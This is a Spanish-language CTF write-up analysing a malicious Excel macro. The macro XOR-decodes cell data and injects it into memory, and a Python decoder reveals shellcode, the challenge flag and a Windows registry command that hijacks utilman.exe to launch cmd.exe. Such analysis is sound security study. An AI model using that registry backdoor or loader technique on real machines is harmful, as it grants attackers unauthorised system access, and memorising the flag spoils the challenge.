Free Services
2 minutos de lectura
Se nos proporciona un archivo de Microsoft Office Excel llamado free_decryption.xlsm. La m en la extensión indica que el archivo contiene macros VBA.
Extracción de macros VBA
Desgraciadamente, olevba de oletools no puede extraer el código VBA:
$ olevba free_decryption.xlsm
olevba 0.60.1 on Python 3.10.9 - http://decalage.info/python/oletools
===============================================================================
FILE: free_decryption.xlsm
Type: OpenXML
No VBA or XLM macros found.
Por lo tanto, tendremos que abrir el archivo (y deshabilitar las macros). Tenemos dos hojas:


Desofuscación de código VBA
Es fácil intuir qué está haciendo el código:
- Selecciona los números en las celdas
E1:G258 - Llama a
VirtualAlloc(una función de Windows para requerir memoria) - Inicializa un contador a
0enC1e itera hasta772en pasos de2 - Usa XOR entre la celda activa y
24y lo interpreta como un carácter - Almacena el resultado en
B1 - Escribe el carácter de
B1en memoria usandoWriteProcessMemory(otra función de Windows) - Incrementa el contador y pasa a la siguiente iteración
Traduciendo a Python
Por lo tanto, podemos imitar el mismo comportamiento en Python usando este script (reemplazando ... con los números en las celdas E1:G258):
#!/usr/bin/env python3
import re
data = """
...
"""
data = re.sub(r"\s+?", " ", data)
data = list(map(int, data.split()))
for d in data[::2]:
print(chr(d ^ 24), end='')
Si lo ejecutamos, veremos algunos caracteres raros y algunos comandos de Windows:
$ python3 solve.py
üè`å1ÀdP0R
Ç8àuö}ø;}$uäXX$ÓfIã:I4Ö1ÿ¬ÁÏ
KXÓÐD$$[[aYZQÿà__Zë]j
²Ph1oÿÕ»ðµ¢Vh¦½ûàu»GrojSÿÕREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f;echo "HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}"
Flag
Y la flag también está ahí:
$ python3 solve.py | grep -aoE 'HTB{.*?}'
HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}